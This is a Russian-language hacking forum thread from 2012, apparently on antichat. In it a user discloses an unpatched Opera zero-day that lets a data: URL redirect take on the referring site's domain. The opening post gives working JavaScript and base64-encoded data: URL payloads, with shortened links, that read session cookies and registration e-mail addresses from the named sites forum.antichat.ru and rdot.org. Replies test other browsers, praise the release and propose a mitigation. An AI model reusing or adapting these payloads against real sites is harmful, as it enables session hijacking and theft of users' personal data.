PDA

Просмотр полной версии : XSS на любых сайтах (Opera, 0-day, обход SOP)


M_script
05.10.2012, 18:03
http://si0.twimg.com/a/1342576238/t1/img/bird-topbar-blue.png follow (http://twitter.com/M_script)

Браузер Opera позволяет выполнить XSS-атаку на любой сайт, который предоставляет возможность размещения ссылок на другие сайты.

Уязвимы версии для Opera для Windows, Mac и Linux до 12.02 включительно (последняя версия на сегодняшний день). На версиях до 9.50 проверка не проводилась.

Советую предварительно ознакомится со следующей информацией:

http://ru.wikipedia.org/wiki/Правило_ограничения_домена

http://ru.wikipedia.org/wiki/Data:_URL

В опере при перенаправлении с сайта на data:URL через HTTP-заголовок Location свойство document.domain имеет значение последнего перенаправляющего сайта.

Пример:


PHP:
alert(document.domain)



PHP:
data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW 4pPC9zY3JpcHQ+

Ссылка, сокращенная через сервис tinyurl.com:

http://tinyurl.com/antichat-test1

При переходе по ссылке мы увидим алерт "tinyurl.com".

Если нажать Ctrl+R для повтора запроса, в алерте будет уже другой домен - тот, с которого осуществлен переход на ссылку tinyurl.com/antichat-test1

При нажатии Ctrl+R происходит не обновление текущей страницы, а полное повторение запроса. То же самое действие можно выполнить с помощью JS-метода location.reload()

Пример:


PHP:


if(document.domain=='tinyurl.com')

location.reload();

else

alert(document.domain);





PHP:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PS d0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZWxzZXth bGVydChkb2N1bWVudC5kb21haW4pfTwvc2NyaXB0Pg==

Ссылка:

http://tinyurl.com/antichat-test2

Теперь в алерте будет домен, с которого осуществлялся переход. Согласно same origin policy это дает доступ к данным, находящимся на том же домене.

Уязвим сайт, с которого пользователь переходит по ссылке, а не тот сайт, который перенаправлят (не tinyurl.com). "Open redirect" не нужен. Для проведения атаки на сайт достаточно возможности написать на нем ссылку.

Vulnerable the site where user clicks the link, not the one that redirects (not tinyurl.com). "Open redirect" is not needed. To attack the site enough to write on it a link.

PoC:

1) Читаем куки forum.antichat.ru:


PHP:


if(document.domain=='tinyurl.com')

location.reload();

functionxss()

{

alert(document.frames[0].document.cookie);

}

functionifrAdd()

{

varifr=document.createElement('iframe');

ifr.style='width:0px;height:0px;visibility:hidden' ;

ifr.src='http';

ifr.src+=document.referrer.length?'':'s';

ifr.src+=':/css/a.css';

ifr.onload= function(){xss()};

document.body.appendChild(ifr);

}







PHP:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PS d0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rp b24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bW VudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVu dC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aW R0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7 aS5zcmMgPSAnaHR0cCc7aS5zcmMrPWRvY3VtZW50LnJlZmVycm VyLmxlbmd0aD8nJzoncyc7aS5zcmMrPSc6Ly9mb3J1bS5hbnRp Y2hhdC5ydS9jc3MvYS5jc3MnO2kub25sb2FkPWZ1bmN0aW9uKC l7YSgpfTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGkpfTwv c2NyaXB0Pjxib2R5IG9ubG9hZD1iKCk+

Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru):

http://tinyurl.com/antichat-cookie

2) Читаем куки rdot.org


PHP:


if(document.domain=='tinyurl.com')

location.reload();

functionxss()

{

alert(document.frames[0].document.cookie);

}

functionifrAdd()

{

varifr=document.createElement('iframe');

ifr.style='width:0px;height:0px;visibility:hidden' ;

ifr.src='https://rdot.org/forum/clientscript/vbulletin_read_marker.js';

ifr.onload= function(){xss()};

document.body.appendChild(ifr);

}







PHP:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PS d0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rp b24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bW VudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVu dC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aW R0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7 aS5zcmMgPSAnaHR0cHM6Ly9yZG90Lm9yZy9mb3J1bS9jbGllbn RzY3JpcHQvdmJ1bGxldGluX3JlYWRfbWFya2VyLmpzJztpLm9u bG9hZD1mdW5jdGlvbigpe2EoKX07ZG9jdW1lbnQuYm9keS5hcH BlbmRDaGlsZChpKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9Yigp Pg==

Ссылка (пример работает при переходе по ссылке с домена rdot.org):

http://tinyurl.com/rdot-cookie

3) Читаем регистрационное мыло forum.antichat.ru


PHP:


if(document.domain=='tinyurl.com')

location.reload();

functiongetMail()

{

varx= newXMLHttpRequest;

x.open('GET','http'+ (document.referrer.length?'' :'s') +':/profile.php?do=editpassword',false);

x.send(null);

alert(x.responseText.match(/name="email"value="(.+?)"/)[1]);

}







PHP:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PS d0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rp b24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW 4oJ0dFVCcsJ2h0dHAnKyhkb2N1bWVudC5yZWZlcnJlci5sZW5n dGggPyAnJyA6ICdzJykrJzovL2ZvcnVtLmFudGljaGF0LnJ1L3 Byb2ZpbGUucGhwP2RvPWVkaXRwYXNzd29yZCcsZmFsc2UpO3gu c2VuZChudWxsKTthbGVydCh4LnJlc3BvbnNlVGV4dC5tYXRjaC gvbmFtZT0iZW1haWwiIHZhbHVlPSIoLis/KSIvKVsxXSl9PC9zY3JpcHQ+PGJvZHkgb25sb2FkPWEoKT4=

Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru):

http://tinyurl.com/antichat-mail

4) Читаем регистрационное мыло rdot.org


PHP:


if(document.domain=='tinyurl.com')

location.reload();

functiongetMail()

{

varx= newXMLHttpRequest;

x.open('GET','https://rdot.org/forum/profile.php?do=editpassword',false);

x.send(null);

alert(x.responseText.match(/name="email"value="(.+?)"/)[1]);

}







PHP:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PS d0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rp b24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW 4oJ0dFVCcsJ2h0dHBzOi8vcmRvdC5vcmcvZm9ydW0vcHJvZmls ZS5waHA/ZG89ZWRpdHBhc3N3b3JkJyxmYWxzZSk7eC5zZW5kKG51bGwpO2 FsZXJ0KHgucmVzcG9uc2VUZXh0Lm1hdGNoKC9uYW1lPSJlbWFp bCIgdmFsdWU9IiguKz8pIi8pWzFdKX08L3NjcmlwdD48Ym9keS BvbmxvYWQ9YSgpPg==

Ссылка (пример работает при переходе по ссылке с домена rdot.org):

http://tinyurl.com/rdot-mail

тема на rdot.org (https://rdot.org/forum/showthread.php?t=2444)

VY_CMa
05.10.2012, 18:11
ФФ тоже поддерживает data, а значит можно поколупаться =)

йож
05.10.2012, 18:12
true.

VY_CMa
05.10.2012, 18:23
ФФ 16 результат на ВИЧ положительный.

http://makescreen.ru/i/b17b0f0c8d029f5dac7bec28cc8965.jpg ​

После перехода:

http://makescreen.ru/i/43e0ef77f64d9cb887a37c53bc0677.jpg ​

http://makescreen.ru/i/01806da976a787809ae41126c7b620.jpg ​

M_script
05.10.2012, 18:34
VY_CMa, в ФФ не работает при редириекте с веб-сайта на data.

Большинство сайтов запрещают использовать data в ссылках, но разрешают ссылки на http(s).

VY_CMa
05.10.2012, 18:40
M_script, сайты сайтами конечно, но кусок уязвимости остается (domain сохраняется), а это уже что-то. Спасибо.

WarT
05.10.2012, 20:18
пушка

kingbeef
05.10.2012, 21:29
Миллионы в паблик(((

Rebz
05.10.2012, 21:35
Не хватает фразы: "Способов устранения уязвимости не существует в настоящее время."

M_script
05.10.2012, 22:26
kingbeef said:
Миллионы в паблик(((


Я не зарабатываю на уязвимостях, ты же знаешь. Это хобби.

winstrool
05.10.2012, 22:28
Радует, что кто то, из закрытых групп работает не только в группах, но и для общества в ообщем!)

GoodGoogle
05.10.2012, 22:35
Кроме как красавчик, сказать больше нечего!!!

justonline
05.10.2012, 23:31
не миллионы...оперой пользуются не так уж и много народа)

M_script
06.10.2012, 05:07
justonline said:
не миллионы...оперой пользуются не так уж и много народа)


В мире почти никто не пользуется, в России 16.6%.

PRosTo_LEva
06.10.2012, 05:39
M_script, большое спасибо.

Безумно приятно что есть такие люди как Вы. Читая о подобных достижениях начинаешь задумываться о том, что далеко не всё безупречно в этом мире.

VY_CMa
06.10.2012, 20:28
Видео для наглядности =) http://www.youtube.com/watch?v=txExYHPOGR0

shumaher
12.10.2012, 04:08
Rebz said:
Не хватает фразы: "Способов устранения уязвимости не существует в настоящее время."


Два пальца обоссать.

Менять юрлы в линках. Например:

po6olkudahotel.site.ru/tinyurl.com/blabla

Чтобы редиректил и не взаимодействовал с основным сайтом, не хранил кук и.т.д.

postscripter
23.10.2012, 02:01
http://rutracker.org/forum/viewtopic.php?t=4220697 Чья работа?

M_script
23.10.2012, 02:21
postscripter said:
http://rutracker.org/forum/viewtopic.php?t=4220697 Чья работа?


Редирект через картинку - это другая уязвмость оперы. В теме описана не она.

obj
24.10.2012, 14:51
Для хрома способа никто не нашел ли?Пробовал через фрейм на своем сервере но там вылезал пустой алерт

evident
27.10.2012, 23:32
Действительно большие деньги сливаешь в паблик.

user100
27.10.2012, 23:43
Тема даж в мировых новостях засветилась:например. (http://thehackernews.com/2012/10/universal-cross-site-scripting.html)